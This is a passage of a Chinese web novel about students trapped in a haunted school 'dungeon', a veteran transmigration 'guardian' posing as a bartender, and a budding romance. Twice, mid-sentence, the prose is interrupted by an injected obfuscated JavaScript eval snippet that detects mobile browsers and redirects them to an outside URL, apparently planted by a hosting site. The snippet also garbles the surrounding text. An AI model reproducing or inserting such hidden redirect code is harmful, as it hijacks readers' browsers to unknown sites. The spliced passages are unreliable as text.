“当时冯老师也在教室,他听见那车撞门的声音,想把门打开,我们当然得阻止他了!结果没想到他人虽然小,但力气特别大,比一般成年人还要大很多,我和刘文远两个人合伙都拦不住。” “我们当时怕极了,外面的车又一直在撞门,还在放那首歌,听的我心里特别慌,情急之下,就、就一个手刀,把冯老师敲晕了。” 男生大概是知道自己做错事了,说到这儿嗓子都开始哆嗦,凝固的血口子再次裂开: “我之前学、学过空手道,知道这招有风险——但当时我真不是故意的!我就是太慌了。而且刚才我反复试过冯老师的呼吸,他没死!只是晕过去了……” “行了你不用说了。” 温初夏拧了一把鼻尖的汗珠,站起来,手在衣服上擦擦,声音憋着火:“歉留着冯老师醒来之后再道吧。” 她又去捏冯佑肉嘟嘟的小脸,幅度很大地摇了摇他的头,结果还是弄不醒,只好把他背起来,顶着烈日当空,直奔宿舍楼而去。 气温越来越热,路面蒸腾的气浪将视野扭曲成哈哈镜,滚烫的阳光像铁水一样,毫不留情地泼到温初夏身上。 汗液在衣领袖口凝成盐霜,连马尾发尖都是湿的。 手臂更是重灾区,像一边安插了一个关不掉的水龙头,湿滑的触感让背后的人频频往下滑,跟泥鳅一样的托不住。 没办法,她只能换了种更热的姿势,抱着冯佑跑,衣物之下,汗水不要钱似的滚落。 终于爬到宿舍楼三层时,温初夏已经有些神志不清了,三魂七魄随着汗水被蒸发没了一半,喉间充斥着干涸的铁锈味,眼前所有事物被蒙上了一层毛玻璃滤镜,模糊又重影。 她把冯佑靠墙放好,将已经湿透的衣摆稍微拧干一点,水滴滴答答落下,然后低头擦拭被汗液糊住的眼睛。 视线清晰后,温初夏直接抬起一脚,向面前这扇没有门把手的房门踹去。 “咚!咚!咚!” 连踹三脚,温初夏只觉得缺氧又腿麻,差点儿厥过去,但好歹是把门踹开了。 她拎着冯佑湿哒哒的衣领,把他轻轻扔进房间,然后走进去。 “我说,够了吧。” 粘黏在一起的嘴皮被艰难撕开,干燥的舌苔滑过上颚,温初夏甚至听见自己嘴里传来类似砂纸打磨的声音。 “我们好心陪你玩儿游戏,你就这么报答我们?” 饶是热成这样,也能闻到空气中弥漫着一股很浓烈的消毒水混合着各种药物,以及其他什么东西的恶心味儿,是会让人生理性反胃的那种恶心。 进来后,温初夏连咽口水润润喉的欲望都没有,目光冷冷地从排排坐在角落的凳子上,目光呆滞的小孩老师们身上扫过,看向房间中央的单人病床。 狭窄的病床空无一人,但平铺在上的被褥却明显有人躺过或者坐过的痕迹。 床头柜的抽屉半开着,里面满满登登放着一堆药瓶和成卷的绷带。抽屉之上,银灰色的心电仪正在运作着,屏幕上的绿色波形有规律地跳动,发出轻微的“滴滴”声。 温初夏就对着床上的空气说话:“人没死又没丢,发这么老大脾气,真以为我看不见你就收拾不了你了?” 空气没有回答,但被褥之上的褶皱却悄然发生了变化,中间两道凹陷整齐划一向后移动,像有一个人坐在床上,屈膝抱起了双腿。 温初夏:“……” 你堂堂一个大BOSS,在这儿给我装什么可怜??? …… “阿嚏!阿嚏!啊——嚏!” “擦擦,赶紧擦擦。”温初夏递去一张餐巾纸,无比庆幸自己已经吃完了饭,嫌弃道:“水晶吊坠都出来了。” 离开食堂的路上,不少人都和周雅宜一样,疯狂打喷嚏,“阿嚏”声此起彼伏,像打哈欠一样具有传染性,节奏密的能凑齐一段动感的鼓点。 下午接近五十度的高温让他们热到近乎脱水,绝大部分学生都晕了过去。 然后又忽然来了个断崖式猛降,裹着雪丝的刺骨寒风把温度计重新吹回到零,先热后冷,不感冒才怪。 周雅宜把纸打开来再对半折,用力呲了一下鼻子,拧干净,然后侧目看向温初夏,说话声音哞哞的,感觉能去犁二里地:“你为什么不打喷嚏啊?” “因为我身体好啊。”见她这么憋屈,温初夏反倒轻快起来,“而且我又没晕,一降温就赶紧去冲澡换衣服了,感也感冒不到我头上。” 李书雪实在是擤鼻涕擤烦了,干脆把两坨纸巾揉成短棍,插在鼻孔里,反正在这个鬼地方又没必要注意形象。 她拧开保温杯盖子,仰头把里面又苦又甜的感冒冲剂一饮而尽,小脸皱紧后松开,说出所有人心中的共感: “你为什么每次运气都这么好。” 嗯?怀疑我? 温初夏挑眉,轻轻敲了敲太阳穴,说:“我这明明是机智好吧。要不是我当时想起行为守则的那句话,‘学生不得伤害老师,更不能把他们弄丢’,你们早就在杂物间被烤成人干了。” 不过祸兮福所倚,福兮祸所伏,经历了这次的突发危机,原本至少得晚上半个月的副本进度条居然提前动了,大家被幽幽冻醒时,听到广播说他们解锁了向日葵小学的新地图——图书馆。 大家都很激动,除了十来个同学身体非常不适,连走路说话的力气都没有,必须回宿舍休息之外,其余人在吃完晚饭后,成群结队地向图书馆进发。 兴奋劲儿完全压过了头晕鼻塞和咽喉肿痛。 所谓图书馆,就是凭空出现在教学楼和宿舍楼右侧空地的矮胖小楼,只有三层,破破烂烂的危楼型外观和它前面两位哥一脉相承,三栋建筑分别占据着等边三角形的三个点。 进去之前,分散的人群首先聚成了一团。 温初夏还是站在最前面的C位,充当老鹰捉小鸡游戏里母鸡的角色。 季明轩强塞给了她一把椅子腿,说一会儿如果碰到啥不干净的东西,不要犹豫,直接一棍子下去教对方做人。 温初夏拗不过他,只能拿着,双手抱胸,棍子插在胳膊缝里,紧绷的表情看着挺严阵以待的,但脚下的步子却迈得很悠闲。 胆子大的人逛鬼屋都这步调,简称鬼步。 太阳快落山了,馆里没开灯,不仅空空荡荡,还死气沉沉的。 众人通过不知从哪个废品处理站淘来的老旧闸机,闸门开关发出的吱呀声比用了二十年的老人摇椅还要沧桑。 “妈呀,这破铜烂铁居然还能用呢,感觉比我103岁太爷爷的假牙还要费劲。” “好黑啊里边儿,快,灯灯,找一找灯的开关在哪儿。” “大家跟紧点啊,别走散了。” “不散怎么找开关呀?” 忽然,一层的东南角亮起了光,还是五彩斑斓的光,有黄有绿有红。 接着不到两秒,整层楼都亮了起来,在天花板白炽灯的强光照射下,东南角依旧花红柳绿的很突出。 众人下意识看去,只见一张锃光瓦亮的吧台之后,站着位个子极高的成年男人。 他穿着酒保的衣服,衬衫马甲西装裤,半挽至手肘的袖口显得利落,手腕戴表,梳着一丝不苟的成熟大背头。 并且长得也不赖,五官是那种很标准的俊美,优雅的气质中带着一丝矜贵,笑起来时双眼微眯,神态像极了一只大白狮子猫。 这回不仅是其他人,连温初夏都懵了—— 这、这人是,从哪儿冒出来的?!! “欢迎光临,今日特调已为您备好。” 不管观众如何呆若木鸡,他自顾自地介绍起来: “清爽派首选青柠莫吉托,偏爱浓郁口的,可以试试生椰拿铁威士忌,但如果您是颜值党,那千万别错过莓果气泡冷萃,酸酸甜甜还解渴。” “当然,考虑到同学们刚经历了一场热胀冷缩,我特意为大家熬制了一锅姜汤,里面除了姜片之外,还添加了红枣枸杞和川贝,暖胃又驱寒,对治疗咳嗽很管用哦。” 说着,大狮子猫变戏法般从身后拖出一块垂直地面的木板,板上画着一圈圈直径由大到小的同心圆,正中心的位置点了一个小红点,显然,这是个靶子。 然后,他又从吧台下拿出一盘飞镖,两手摊开,笑眯眯地热情道:“今天,本店开业大酬宾,只要能一次性射中7环以内的,就能免费领取一杯姜汤。怎么样,有没有很心动,你们之中谁想第一个先来?” 听他叽里咕噜说了这么一大堆,口条比万人直播间的带货主播还要流畅清晰,大家的惊讶不减反增,嘴巴张成“O”形,却没人回答,也包括温初夏。 两秒后,她感觉有无数道视线汇聚到了自己的脸和后脑勺上。 嘿。 怎么都看我啊?我也懵着呢好吗! 无奈,温初夏只能松开胳膊,把椅子腿交给旁边的时准,不疾不徐走上前去,从盘子里拿起一支飞镖。 单眼瞄准时,她小声道:“都说免费的才是最贵的,这位帅哥,您,应该没往汤里下毒吧?” 大狮子猫依旧笑着,微微低头,也学她压低了声音:“怎么会,这里是学校,是食品安全检查最严格的场所……” “咻——咚!” 松手后,红翼飞镖如离弦之箭般飞出,轻松射中8环,是在并没有太认真的情况下取得的成绩。 “……之一。别说下毒了,我连切开的水果都不敢过夜,生怕客人吃坏肚子来找我说理,毕竟是小本买卖,赔不起呀。” 他逗弄地冲温初夏轻眨下眼,把一杯热腾腾的姜汤推到她面前,抬头扬声道:“小姑娘准头很好啊——下一位谁来?” 这人真奇怪。 就这破学校,里面的人出不去外面的人进不来,哪儿来的食品安全检查? 检查有没有闹鬼还差不多。 温初夏满心疑虑,心不在焉地打开直饮口,仰头浅喝几口,意外发现还挺好喝,甜滋滋的,很养生的味道。 “欸——” 她刚仰头的时候周雅宜就跑了过来,但动作慢了一步没能阻止成功,着急地一跺脚:“你真喝啊?!” “嗯?”温初夏放下杯子,舔了舔上唇,“免费的干嘛不喝,反正又没毒。” 闻言,周雅宜立刻紧张兮兮地盯着温初夏脸看,生怕她下一秒就一口黑血喷出来,倒地身亡,或是直接晕过去。 “你要不去试试?” 不仅没死没晕,温初夏还又喝了两口,从喉咙到胃里都暖洋洋的,安利道:“真挺好喝的,如果你不讨厌姜的味道的话。” 周雅宜这才勉强把心放回肚子,捂嘴咳了咳,婉拒了:“我才不试,我准头可差了,试了也是丢人。” 温初夏把杯子递到她脸边:“那喝我的?” “不要。”周雅宜摇摇头,又咳起来:“别、咳咳,传染给你,咳咳咳……” 她在这边小声咳个不停,那边,安静的人群里响起一个声音:“第二个我来吧。” 温初夏立刻歪头,看见李确从人群里走出来,从托盘拿起一只飞镖。 他站在吧台前,脊背绷直,右手捏着飞镖,手肘稳如锚点。 相比于温初夏,他花了较长时间来对准,但当镖尖划破空气之后,直直凿进了木板正中心的红点,居然是一个挑不出毛病的完美十环。 像那天运动会一样,人群响起喝彩。 “哇——好牛。” “当然牛了,李确连续两年都拿的射箭第一。” “我之前听李确说过,他从小是玩儿飞镖长大的。” 酒保男眼睛没笑,嘴角却难以压制地勾了勾,俊脸闪过一丝不易察觉的自豪,在低头时被隐藏得很好。 他把一杯装得满满的姜汤推至吧台边,态度远没有刚才对温初夏的那般热情,轻描淡写地夸赞了一句:“准头不错,就是动作慢了点。” 周雅宜暗翻一个白眼,小声嘀咕:“他以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526019|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他是谁啊,还点评上了……” 温初夏难得附和:“就是就是。”这位大哥你到底是谁啊??? “谢谢。”李确对他礼貌一笑,端起杯子就向周雅宜这边走来。 少年的表情有些腼腆,但更多的是热烈和直白,也不废话,直接双手奉上:“给你,小心有点烫。” 看着这杯沉甸甸的姜汤,周雅宜就算喉咙再怎么痒,一时间也不敢再咳嗽,硬生生给憋住了。 她懵了足足两秒,然后俏脸直接红成一枚熟透的西红柿,把手摆成螺旋桨,疯狂拒绝—— “不不不这是你靠自己的实力换来的我怎么能喝呢,这不合适啊不合适……” 人群中,季明轩一把揽住旁边宋云泽的肩膀,表情仿佛被雷劈过似的,低声震惊道:“我操???!” 宋云泽单边苹果肌上扬:“我操。” 时准下意识的:“我……” 反应过来自己这样做好像是在模仿,他赶紧把剩下那个字咽了下去,无声地冷哼一下。 “我的天呐,他俩……什么时候的事??” 李书雪感觉身体里的八卦之魂正在熊熊燃烧,要不是碍于周围人太多,她早就一个十米冲刺到周雅宜身边,晃着她的肩膀让她从实招来了。 “同学。” 这时,酒保男开口了,表情不知为何有些严肃。 “活动规则是不能赠予,谁想要喝,就自己来投飞镖,一人仅限一杯,也不能让别人帮忙代投。” 李确看了酒保男一眼,收回手,有点失望:“哦。” 只听“嘭”一声轻响。 是吧台被某人捶了一下,力道克制的几乎要憋出内伤。 空气安静片刻。 “你一直端着干嘛,不喝吗?”他问。 李确解释:“我现在还不想喝,打算一会儿再喝。” “……” 几分钟后。 当学生们三五成群地入座开始学习,这杯姜汤还是摆在了周雅宜手边。 学生行为规范第四条要求,每次月考妞妞必须拿第一,并且单科成绩不能低于90。按照第一次考试做得出的经验,只要在试卷姓名栏填写妞妞的名字,就算是她考出来的分。 所以,这就相当于变相要求六十个学生里,每科必须至少出一个90+。 不然妞妞一生气,可能又要施展BBQ大法,到时候大家都得遭殃。 没人想再体验一次热到晕厥是什么感觉,刚才在食堂吃饭时,他们商量了一下,打算分工合作,让第一次考试单科分数最高的人负责那一科。 除了语文第一是李确之外,其余八科最高分全是温初夏,她当然没法一个人扛起这么大的担子,所以只负责数英物三科,剩下的五科就落到第二名头上。 化学和生物是时准,历史是周雅宜,政治和地理分别是二班的两个同学,都是文科生。 听完这个安排,季明轩首先表示不信:“周雅宜历史第二?骗人的吧!她和我一样都是理科生,我们早在大半年前就没再上过历史课了,她怎么可能考的比文科生还高。” 周雅宜当场踹他一脚:“我喜欢看历史有关的书不行啊?再说了,那卷子里压根没有课本内容,题目里出现的历史时间和时代全是超纲的,考多少分儿跟文科理科根本没关系好吧。” 考试难度这么大,学校的课程安排却是一天就上六节课,上午四节下午三节,上完拉倒。 晚上教学楼不让进,寝室还一到十点就熄灯,学习氛围也不好,所以他们只能放学后来图书馆,挑灯苦学。 其中的心酸艰苦可以用一句话来形容: 要想不被烤,只有努力考。 而温初夏身为学霸中的学霸,并不觉得学习这件事有多难多辛苦,相比之下,更让她受不了的,是夹在时准和宋云泽之间的氛围。 仿佛回到了几个月前,给这俩缺货一起补课的日子。 并且相较于从前,如今他俩之间明争暗斗的火药味还要更加浓烈,稍微一点火星子就能炸起来—— “这道题我的解题思路对吗?” “你说这种难度的题下次月考会出吗?” 当一左一右两道声音同时响起的瞬间,温初夏就知道,完了。 “想知道解题思路对不对自己看标准答案呗,书后面又不是没有,犯得着来问?”时准皱着眉,语气不太好。 但宋云泽比他更不好:“月考难度这种问题初夏怎么会知道,你不如明天直接去问冯老师,看他怎么说。” 听到这个称呼,时准握着笔的右手指节泛白,太阳穴的青筋开始突突跳动,声音绷着很紧:“学数学讲究循序渐进,要先把基础学扎实了再去挑战更高难度,不要一碰到拿不准的题就去问别人——别人难道没有自己的事要做吗?” 宋云泽气笑了:“人初夏都没嫌我烦,你倒是先替她嫌弃上了,你是她谁啊?哦,我想起来,你是她弟~弟~” 他又叫!他又叫! 他还笑! 他还说我是她弟弟!!! 是可忍孰不可忍了。 握紧的拳头骨节发出一声脆响,时准怒不可遏:“你……”不准再叫这个名字! 可刚一开口,滔天的怒火却被从天而降的甘霖措不及防扑灭。 “我烦,你俩我都烦。”温初夏侧身对着宋云泽说话,但桌下的左手却悄悄搭在了他的大腿上,安抚性地轻轻摸了摸。 被触碰到的地方有成千上万条细小电流通过,时准瞬间哑巴了,胸中燃烧的火焰顿时换了种滋味,变得微妙、膨胀、又轻盈。 察觉到左边这只没动静了,温初夏松了半口气,又继续皱眉教训右边的:“还能不能好好说话了,这里是图书馆不是茶馆,要吵你俩滚出去吵,别打扰其他人学习。” …… 晚上十点半。 最后一批学生离开图书馆,半路上,温初夏忽然翻了翻书包,说自己有一本化学练习册落下了,必须回去拿,不然明早交不上作业要被罚站的。 “那我陪你回去拿吧。”周雅宜说,“时间太晚了,你一个人不安全。” 温初夏怎么可能答应,她就是要故意甩开大部队,好独自回图书馆的,于是边后退边拒绝:“不用,你又不是不知道我,胆子大着呢。” 周雅宜:“胆子大和安全又不能划等号……” “哎呀雅宜。”李书雪挽住她的胳膊,带着股挟持的意味,“我们不是说好了,一回宿舍你就跟我讲你和李确是什么情况吗,快走啦走啦。” “是啊,别想着通过这种手段开溜哦。” 看着周雅宜被李书雪和其她几个女生拉走,温初夏转身跑回图书馆一层,发现酒保男不知什么时候已经走了,也不知道去了哪儿。 “靠……”她喘着粗气骂道,“这人到底是谁啊。” “抱歉,请问你说的‘这人’,是指我吗?” 一转头,看见酒保男姿态懒懒地斜靠在电梯旁的承重柱上,马甲脱掉了。 这么冷的天,他居然就只穿了一件衬衫,并且看着并不冷的样子。 温初夏点了点头,心想:这人居然比我还抗冻。 对方按下停留在一层的电梯按钮,厢门打开,做了个请进的手势,微笑道:“大闺女,和我去二层聊聊吧。” 刚迈开的步子又绊住:他叫我什么???!! “或者如果你不喜欢这个称呼,我也可以称呼你为,守护者,3023号。” 31. 第 31 章 门开的一瞬,天花板的金箔玻璃吊灯便自动打开,暖黄色的灯光浇湿深胡桃木地板,顺着蜿蜒婉转的木纹流淌出蜂蜜的质感。 客厅的空气湿冷而清新,弥漫着一股很淡又很有质感的木质沉香。 温初夏一屁股坐在背靠落地窗的单人沙发上,身体陷进柔软的皮革,耳边传来皮革绷紧的治愈声响,穿着拖鞋的两只脚踩在手工打结羊毛地毯上,双臂打开,从头到脚彻底放松下来。 虽然这些日子她并不觉得有多苦,但此时,来到图书馆二层这间表面上挂着“工作人员休息室”的牌子,实则却是顶奢豪华单人公寓,却还是不由得升起一股“啊,终于活过来了”的念头。 “你也太会享受了。”她闭眼,由衷感慨。 “哪里哪里。”男人正站在客厅西侧的恒温酒柜前挑选,淡淡道:“这间小公寓在我从前住过的那些房子里,连前五十都排不上。要不是这个副本限制太多,不允许大兴土木,我肯定得让系统给我盖栋别墅。” 温初夏掀开眼皮,偏头看他:“既然都认识了,给个称呼呗亲爱的同事,我总不能还叫你‘李确他大爷’吧?” 男人拿出一只Macallan单桶,转头去岛台,开玩笑说:“怎么不能,我觉得这个称呼挺好的啊,亲切。” “滚你的亲切。”温初夏笑骂道,“同为守护者我都觉得你幼稚,之前还把轮椅当坐骑,搞得我真以为你腿脚不便……咱俩应该差不了几岁吧,你这便宜占得够大啊,直接拔高两个辈。” 几块黄糖掉入杯底,又被勺底研磨成碎。 “咱俩差的大了好吗。” 辗完后,男人往水晶杯里滴了几滴深褐色苦精,动作熟稔若行云流水。 他垂眸道:“穿书局共有近十万名登记在册的守护者,编号的第一个数字代表其入职批次,也就是入职时间。” “你是3,而我,是1,1107。” 原本还是闲聊天心态的温初夏顿时坐直了起来,双眼瞪大:“你是第一批的守护者??!” 我的天,遇见活化石了啊。 她努力消化了一阵,还是震惊道:“可是我听说,第一批守护者不是百分之九十都已经退休了吗?” 冰球严丝合缝地滑入杯内,1107抽出一支细长的银质搅拌勺,铿锵有力还有点自豪地说:“巧了不是,我就是那依旧□□的百分之十。” 他看了温初夏一眼,“不过上了这么久的班,确实给我上出工伤来了。好不容易撂下男主的挑子,想无拘无束放飞自我一回,结果倒霉碰上了你,居然把界面给搞崩溃了。我倒也是第一次见。” “我也不是故意的嘛……” 温初夏忙为自己喊冤:“同时绑定两个角色,男二还黑化了,换你来说不定也会把界面搞崩溃,不过——” 她话锋一转:“你是怎么知道我的编号的?总部告诉你的?” 对守护者来说,编号就相当于身份证号,虽然也不是什么需要特别保密的信息,但平白无故被一个陌生人知道了身份证号,难免会觉得奇怪,和没安全感。 1107从冰箱保险层拿出一个黄澄澄圆鼓鼓的血橙,洗净切开,右手用力,深红的汁水淅淅沥沥拧入杯中。 他把橙子残尸扔进垃圾桶,洗手时说:“不是,我很早之前就知道你,和你的编号了。” 他笑容藏着一丝打趣,反问:“你还记得你上一次差点儿把界面干翻的事吗?” 提起黑历史,沙发上的人顿时安静如鸡。 作为急功近利的典型代表,温初夏从刚入职起,就把“爆肝刷级,争当女主”当做自己的职业信条。 为了快速升级,她几乎每回做任务都在违规的边缘来回蹦跶,当炮灰时抢配角戏份,当配角时抢主角戏份,但因为操作够骚运气够好,居然一次都没翻过车。 做女二时,总部为了压制她,几次三番提高了由女二升级成女主的经验值要求,这既是想让她多沉淀沉淀,又是想把她当做反面教材,防止其他守护者模仿。 但温初夏又不傻,当然知道总部在针对自己,于是利用蝴蝶效应设了个弥天大局。 在系统没有提前察觉,她自己也没有任何不符合人设的违规行为的前提下,成功干翻原剧情线,绑了任务界面的烂黄瓜男主,威胁总部给她升级。 总部同意了。 倒不是因为心疼烂黄瓜,而是如果男主死了,整个界面都得跟着崩溃,后续需要大量的时间和金钱来修复。 堂堂总部,被手下的一个小小守护者威胁,算得上是穿书局自成立以来的头一遭奇耻大辱。 “哈哈。”温初夏干笑两声,“都是些陈年旧事,就不用再提了吧……” “还是要提的,不然我没法回答你的问题。” 1107把调好的鸡尾酒放在她面前的茶几上,娓娓道来: “你搞事情那会儿我刚好在总部办离职手续,打印好资料去找人事签字的时候,办公室里一派人仰马翻。” “所有人都在大声传播你的英勇事迹,说你扬言称,如果总部不给你升级的话,等炸完那个男主是变态的界面,下一个炸的,就是穿书局总部。” 温初夏擦了下额头并不存在的汗水,心想:这话当时说的时候不觉得有什么,现在从别人口中听到,怎么感觉有些中二呢? 她赶紧转移话题:“所以,你最后为什么没离职?”总不能是因为我吧? 读懂对方脸上的表情,1107勾唇道:“别给自己脸上贴金啊,我没离成职是因为总部不想失去我这个人才。” 温初夏憋着笑:什么人才,爱好当奇葩小老头的人才? 她有些好奇这人之前穿越过的男主角都是些什么类型。大概率也很奇葩吧。 1107扫了眼茶几,翘起二郎腿,“不喝一口吗?专门为你调的,古典鸡尾酒,OldFashioned,用的是62年的威士忌,在别处可喝不到。” “切。”温初夏不屑,“我可是富二代欸,等原界面修复好了,想喝多少就能喝多少好吗。” 话虽如此,她还是端起酒杯,两三下喝光。 看她这个豪迈的架势,1107忙道:“你牛饮啊,这酒劲很大的你小心别醉了。” 话音刚落,酒杯就已经见底,杯里只剩下并未融化多少的球形冰块,金箔碎在其间闪着光。 温初夏把杯子轻轻放回茶几,神清气爽地起身来到落地窗前。外面并不是纸醉金迷的城市夜景,而是闹鬼小学一段灰扑扑的水泥路。 酒精的余韵还在口腔中发散,她下意识发起呆。 良久。 1107不知何时来到她身边,目光平直窗外,问:“等这个副本走完,回到原来的界面,打算怎么办?” 温初夏还是从前的打算:“出国,躲个几年,等第二本书剧情线开启之后再回国。” “就不担心时准再找上你?” “有一点吧,但不多。”温初夏语气淡淡的,“时间可以改变很多事情,冲淡很多记忆。” “那在这里的记忆呢?也能冲的淡?” “我提前和总部打好招呼了,让他们在副本结束后对所有人做一次记忆清除。他们会彻底忘记在这里发生的一切。” 1107:“但如果几年之后你回了国,发现时准依然还是很喜欢你,甚至因为爱而不得,变成了一个可怕的疯子,你要怎么办?” 可怕的疯子…… 这个形容让温初夏心里很不舒服,她眉间折起,侧目问:“你到底想说什么?” “我想帮你。”1107露出一个善意的笑,“有一个方法,能够从根源解决你现在以及将来的困扰。” “什么?” “告诉他。” “告诉他什么??” “告诉他这个世界其实是一本小说,你是女主角,宋云泽是男主角,而他,只是男二,无论再怎么付出再怎么努力再怎么喜欢你,你最后都只能和宋云泽在一起,这无关个人,只是命定。” 眉心微微一松,随即皱得更深。 “这怎么行。”温初夏垂下眼,当1107在开玩笑,虽然他的语气并没有半分玩笑的意思,“我如果告诉时准这些,他会意识觉醒,然后被总部回收。” 所谓意识觉醒,是指角色意识到自己原来生活在一本小说里,所有的命运和人生轨迹都是被提前安排好的。 穿书局管理着万千界面,每时每分每秒都有角色在发生意识觉醒,为了便于管理,总部会强行收回他们的灵魂,然后让守护者顶上,按照角色既定的人生轨迹,替他们走完未完成的一生。 而收回的那些灵魂,要么记忆清零,灌进新的壳子里,要么,直接销毁。 前者和死一遍没有区别,而后者,就是死了。 可1107却说:“就是要他觉醒啊。” “你疯啦?这和杀人有什么区别?!”温初夏大惊失色。 1107继续讲述他自认为无比高明的计划:“等时准的灵魂回收后,我会联系总部,让他们挑个足够老实靠谱的守护者来接替他,到时候你就能安安心心……” “我能安个屁的心!” 没想到温初夏直接爆了粗口,声音还控制不住地越来越激动: “你是不知道时准这孩子有多可怜——他、他爸妈从小就把他当成早夭妹妹的替代品,还是劣质替代品!本来就已经够悲催了,现在你还要我告诉他:他只是男二,是男女主之间感情的垫脚石。你猜他是会一刀捅死我还是一刀捅死自己?” 1107没料到她会反应这么大,沉默了一会儿,调节气氛说:“我比较倾向于后者。” 温初夏有点崩溃,双手抱住脑袋:“我不是让你做选、择、题。”你以为你很幽默吗前辈。 然后手放下:“反正我是绝对不会这么做的,你也不准私下去找时准说这些。” 温初夏觉得自己简直是活腻歪了,敢对骨灰老前辈用这种语气,但还是边腻歪边威胁道:“你要是敢去找他,我保证,以后你去哪个界面做任务,我就跟去哪个界面,然后疯狂搞破坏。” 搞破坏这种事,对她来说已经是熟能生巧了。 “行行行,不去就不去,怕了你了还。”1107嘴角微抽,发散的视野里忽然出现一个人。 他惊疑道:“说曹操曹操到,他怎么也回来了?!” 楼外,身穿校服的少年快步走进图书馆大门,并没有注意到楼上有两道目光正看着自己。 “完蛋,他大概率是来找我的。”温初夏转身拿起地毯上的书包,急匆匆告别:“谢谢你请我喝酒,下次有机会再聊啊。” “这就走啦?” 温初夏去门口换鞋,1107快步跟到她身边,表情有些纠结:“其实我还有件事想找你问清楚。” 绑好鞋带,抬起头:“你是想问你大孙子早恋的事儿吧?” 虽然两人认亲成功还不到二十分钟,温初夏却有种倾盖如故的感觉,可能是因为1107和她性格比较相投,对方屁股一撅她就知道这人想放什么屁。 “什么早恋,他如果真早恋了我能不知道?”1107立马拉下脸。 他靠在门边,语气很咸:“我自己养大的孩子我心里清楚,如果李确真和人家女生确定了关系,肯定会第一时间告诉我的。既然他没说,证明他俩还处于暧昧阶段,还没到那一步呢。” 温初夏笑了笑,觉得神奇:“你不会是不希望李确谈恋爱吧?” “开玩笑,我会是这么不开明的家长?” 1107抬头仰望天花板,声音从唇缝颇为艰难地溢出:“我就是心里稍微有点不痛快,就指甲盖儿那么大的一咩咩,而已。” 我懂我懂,那就是很不痛快了。 “但其实我也不太清楚。”温初夏拧开门走出去,回头说:“等我哪天问清楚了再来和你打小报告好吧?” “欸。”1107叫住她,“那你好歹知道那个女生叫什么名字吧。” “周雅宜。”说完,温初夏就跑去坐电梯了。 独留1107站在房门口。 周雅宜。 这名字好熟悉啊,好像是个主要配角来着? …… 等等! 她不就是一心只喜欢男二时准的女二吗,怎么又和我的大孙砸扯上关系了??! 一层。 时准找了一圈没看见人,正要去二楼寻觅,温初夏就从电梯里出来了。 “你不是已经走了吗,怎么又回来了?” “有本书忘了拿。”温初夏背包从单肩背换成双肩,“化学练习册,你知道陈老师最忌讳学生不交作业了。” 时准看了眼电梯,左眉轻挑:“可我们今晚不是在一楼写的作业吗?”你怎么是从楼上下来的。 温初夏语塞不到半秒,就迅速找到了借口:“闲着无聊上楼逛逛嘛,全当免费逛鬼屋了。二楼和一楼其实差不多,就是书多些桌椅少些……” 两人边聊边走出图书馆。 时准:“小卖部还开着,你陪我一起去吧。” 想起下午答应了这人剩下这个月要包养他,温初夏心里有些膈应,但还是答应道:“好。” “你想买什么?”她问。 “内裤。”少年的语气无比正经。 噗——! 温初夏不可置信:“你不会真的只有一条吧?” 她当时以为这心机boy是骗自己的来着。 你不是有洁癖吗,怎么,人一旦开始不要脸,洁癖也跟着一起玩失踪了? “真的。”时准多少还是觉得有点丢人,声音小小地道:“我下午洗完澡之后都没有换的,所以直接没穿——不信你摸摸?” “我不!” 温初夏弹开两米,两手作防御状,又被时准笑着黏回来。 他从上衣口袋里掏出一个小东西,两手包在手心,说:“我这儿还有个礼物要送……” “别,免了。”温初夏还没看就直接拒绝,“时准你再这么乱花钱我真的会抽你啊你信不信。” 头一次被她用这么严肃的语气直呼大名,时准非但不觉得难过或伤心,反倒升起一阵高兴。 是很意外、很满足的那种高兴,像是小孩子通过捣蛋来吸引大人的关注。 他把手心打开:“这个礼物我没花钱,你看。” 温初夏目光下移,看见掌心里静静躺着一只金色千纸鹤,就鼻嘎那么点儿小,折它的人手一定很巧。 “这是我拆了烟盒里的锡纸折的。”时准垂着脑袋,笑盈盈地看着她,“你送我小星星,我送你千纸鹤。” 好幼稚…… 温初夏勉为其难地收下这个礼物,第一反应是要揣兜里,又担心这样会不会把它压扁,于是一边嫌麻烦,一边打开书包,放进了笔袋里。 时准一直看着她把自己送的礼物安置妥当,脸上始终带着笑。 然后忽然问:“你脸怎么这么红?” 温初夏拉上书包拉链,下意识道:“啊?有吗?” 话音刚落,就有两只手捧上了她略烫的脸颊。 温初夏整个人僵住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532100|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没等她骂出口,时准就又松开,转而摸了摸自己的,比较道:“是有些烫,你是不是也发烧了?” “怎么可能。”温初夏一口否定,“我身体素质好着呢。”但头却从这一秒开始晕起来。 大概是刚才那杯酒的缘故。 原来1107没唬她,后劲是真挺大的。 时准拉她的手腕,语气有些着急:“走,赶紧去买感冒药。” 温初夏当然不肯让他牵,奈何头一晕后四肢也紧接着开始没力气,软绵绵的胳膊抽了抽,没抽出来,倒给了对方机会牵住她的手。 四根纤长干燥的手指并拢,笨拙地盖住她的手背,大拇指则紧紧压在掌心,很别扭的牵手姿势。 能感觉出来,他极少和人牵手,并且现在十分紧张。 不然手臂也不会僵的跟根棍子似的。 温初夏闭了闭眼,心说:算了,他想牵就牵吧。 不久前说过的一句话在起了雾的脑海里回响—— 